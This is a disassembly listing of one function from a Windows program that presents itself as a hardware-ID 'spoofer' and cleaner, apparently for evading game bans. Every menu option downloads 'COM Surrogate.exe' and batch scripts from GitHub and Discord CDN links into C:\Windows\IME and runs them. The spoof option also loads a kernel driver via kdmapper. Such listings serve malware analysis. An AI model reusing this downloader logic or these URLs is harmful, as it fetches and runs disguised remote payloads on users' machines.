Function at 0x1400019a0
Capabilities:
Create directory
Download url
Execute command
Receive data
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 8], rax
lea rcx, [0x14000538c]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
lea rcx, [rbp - 0x28]
call fcn.140001380
nop
lea rcx, [0x140005390]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], 9
mov qword [rbp - 0x38], 0xf
movsd xmm0, qword [str.Loading..]
movsd qword [rbp - 0x50], xmm0
movzx eax, byte [0x1400053a0]
mov byte [rbp - 0x48], al
mov byte [rbp - 0x47], 0
mov edx, 0xb
lea rcx, [rbp - 0x50]
call fcn.140001230
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], 8
mov qword [rbp - 0x38], 0xf
movabs rax, 0xa73736563637553
mov qword [rbp - 0x50], rax
mov byte [rbp - 0x48], 0
mov edx, 2
lea rcx, [rbp - 0x50]
call fcn.140001230
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
nop dword [rax]
lea rcx, [0x140005390]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x1400053a4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002240
lea rdx, [0x1400053a4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002240
lea rdx, [0x1400053a4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002240
lea rdx, [0x1400053a4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002240
lea rdx, [0x1400053a4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002240
lea rdx, [0x1400053a4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002240
lea rdx, [0x1400053a4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002240
lea rdx, [0x1400053a4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002240
lea rdx, [0x1400053a4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002240
lea rdx, [0x1400053a4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002240
lea rdx, [0x1400053a4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002240
lea rdx, str.______________________________________________________1__SPOOF_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002240
lea rdx, [0x1400053a4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002240
lea rdx, str.______________________________________________________2__CLEAN_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002240
lea rdx, [0x1400053a4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002240
lea rdx, str.______________________________________________________3__DEEP_CLEAN_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002240
lea rdx, [0x1400053a4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002240
lea rdx, str.______________________________________________________4__CHANGE_MAC_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002240
lea rdx, [0x1400053a4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002240
lea rdx, str.______________________________________________________5__CHECK_SERIALS_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002240
lea rdx, [0x1400053a4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002240
lea rdx, [0x1400053a4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002240
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
mov ebx, eax
movzx edx, al
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002420
mov rcx, rax
lea rdx, [0x1400053a4]
call fcn.140002240
movsx eax, bl
sub eax, 0x31
je 0x140002078
sub eax, 1
je 0x140001f5a
sub eax, 1
je 0x140001e38
sub eax, 1
je 0x140001d14
cmp eax, 1
jne 0x1400021da
lea rcx, [0x140005390]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsIME
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [0x1400052a0]
lea rdx, str.https:__github.com_7xik_file_raw_main_COM_20Surrogate.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, str.C:WindowsIMECOM_Surrogate.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsIME
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [0x1400050a0]
lea rdx, str.https:__cdn.discordapp.com_attachments_1280335160172085318_1280335680060260443_SerialsChecker.bat_ex66dc5245is66db00c5hm2c65ac570db43df67be3a3fc5dc2033bef59362bd661b748d165f913852ffa16
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, str.C:WindowsIMESerialsChecker.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x140001a80
lea rcx, [0x140005390]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov word [rbp - 0x42], di
mov qword [rbp - 0x40], 0xe
mov qword [rbp - 0x38], 0xf
movsd xmm0, qword [str.Changing_Mac..]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x140005578]
mov dword [rbp - 0x48], eax
movzx eax, word [0x14000557c]
mov word [rbp - 0x44], ax
mov edx, 0xb
lea rcx, [rbp - 0x50]
call fcn.140001230
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:WindowsIME
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [0x1400052a0]
lea rdx, str.https:__github.com_7xik_file_raw_main_COM_20Surrogate.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, str.C:WindowsIMECOM_Surrogate.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsIME
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [0x140004eb8]
lea rdx, str.https:__cdn.discordapp.com_attachments_1280335160172085318_1280335679758401647_macchanger.bat_ex66dc5245is66db00c5hm5748d1ca96f6c9a70e000816d4f10cb450ff481e4f4b1dcaaaf856ef868ddba8
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, str.C:WindowsIMEmacchanger.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140005390]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], rdi
mov ecx, 0x20
call fcn.140002628
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x40], 0x15
mov qword [rbp - 0x38], 0x1f
movups xmm0, xmmword [str.Successfully_Changed_]
movups xmmword [rax], xmm0
mov ecx, dword [0x140005590]
mov dword [rax + 0x10], ecx
movzx ecx, byte [0x140005594]
jmp 0x1400021b3
lea rcx, [0x140005390]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], 0xa
mov qword [rbp - 0x38], 0xf
movsd xmm0, qword [str.Cleaning..]
movsd qword [rbp - 0x50], xmm0
movzx eax, word [0x140005550]
mov word [rbp - 0x48], ax
mov byte [rbp - 0x46], dil
mov edx, 0xb
lea rcx, [rbp - 0x50]
call fcn.140001230
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:WindowsIME
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [0x1400052a0]
lea rdx, str.https:__github.com_7xik_file_raw_main_COM_20Surrogate.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, str.C:WindowsIMECOM_Surrogate.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsIME
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [0x140004ce0]
lea rdx, str.https:__cdn.discordapp.com_attachments_1280335160172085318_1280905679065976917_FnDeepClean.bat_ex66dc6adfis66db195fhm2e66984e878e20e1cf564cb60233f60aa300c8495eb0c36206849ccec0bac337
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, str.C:WindowsIMEFnDeepClean.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140005390]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], rdi
mov ecx, 0x20
call fcn.140002628
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x40], 0x15
mov qword [rbp - 0x38], 0x1f
movups xmm0, xmmword [str.Successfully_Cleaned_]
movups xmmword [rax], xmm0
mov ecx, dword [0x140005568]
mov dword [rax + 0x10], ecx
movzx ecx, byte [0x14000556c]
jmp 0x1400021b3
lea rcx, [0x140005390]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], 0xa
mov qword [rbp - 0x38], 0xf
movsd xmm0, qword [str.Cleaning..]
movsd qword [rbp - 0x50], xmm0
movzx eax, word [0x140005550]
mov word [rbp - 0x48], ax
mov byte [rbp - 0x46], dil
mov edx, 0xb
lea rcx, [rbp - 0x50]
call fcn.140001230
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:WindowsIME
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [0x1400052a0]
lea rdx, str.https:__github.com_7xik_file_raw_main_COM_20Surrogate.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, str.C:WindowsIMECOM_Surrogate.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsIME
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [0x140004778]
lea rdx, str.https:__cdn.discordapp.com_attachments_1280335160172085318_1280335678185537587_clean1.bat_ex66dc5245is66db00c5hmc551aeef9ea88d82dd29985d75a8cc0215f0db9624ca59ab7e6774fbe014a0d3
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [0x140004920]
lea rdx, str.https:__cdn.discordapp.com_attachments_1280335160172085318_1280335678877597868_clean2.bat_ex66dc5245is66db00c5hm73089df1bcee21c6adf5d94470001d0116070e48f1efd9e5cae903777e471b93
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [0x140004ad0]
lea rdx, str.https:__cdn.discordapp.com_attachments_1280335160172085318_1280335678525411350_clean3.bat_ex66dc5245is66db00c5hm31936ab11e31525040bec55db76b2cf59cf55f22e62491d800e90be07ebeba96
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, str.C:WindowsIMEclean1.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsIMEclean2.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsIMEclean3.bat
jmp 0x140001efb
lea rcx, [0x140005390]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], 0xa
mov qword [rbp - 0x38], 0xf
movsd xmm0, qword [str.Spoofing..]
movsd qword [rbp - 0x50], xmm0
movzx eax, word [0x140005520]
mov word [rbp - 0x48], ax
mov byte [rbp - 0x46], dil
mov edx, 0xb
lea rcx, [rbp - 0x50]
call fcn.140001230
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:WindowsIME
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [0x1400052a0]
lea rdx, str.https:__github.com_7xik_file_raw_main_COM_20Surrogate.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, str.C:WindowsIMECOM_Surrogate.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsIME
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, str.C:WindowsIME_tempspoof.sys
lea rdx, str.https:__cdn.discordapp.com_attachments_1280335160172085318_1280916467612651560_tempspoof.sys_ex66dc74ecis66db236chm0911c7d2f08339b3c128773d91fcea56545bd66f2c9277433276b161b25b7bef
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, str.C:WindowsIMEkdmapper_Release.exe
lea rdx, str.https:__github.com_7xik_file_raw_main_kdmapper_Release.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, str.C:WindowsIMEkdmapper_Release.exe_C:WindowsIME_tempspoof.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140005390]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], rdi
mov ecx, 0x20
call fcn.140002628
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x40], 0x15
mov qword [rbp - 0x38], 0x1f
movups xmm0, xmmword [str.Successfully_Spoofed_]
movups xmmword [rax], xmm0
mov ecx, dword [0x140005538]
mov dword [rax + 0x10], ecx
movzx ecx, byte [0x14000553c]
mov byte [rax + 0x14], cl
mov byte [rax + 0x15], dil
mov edx, 2
lea rcx, [rbp - 0x50]
call fcn.140001230
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x140001a80
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x140002218
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002213
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002213
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002620
xor eax, eax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140002600
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret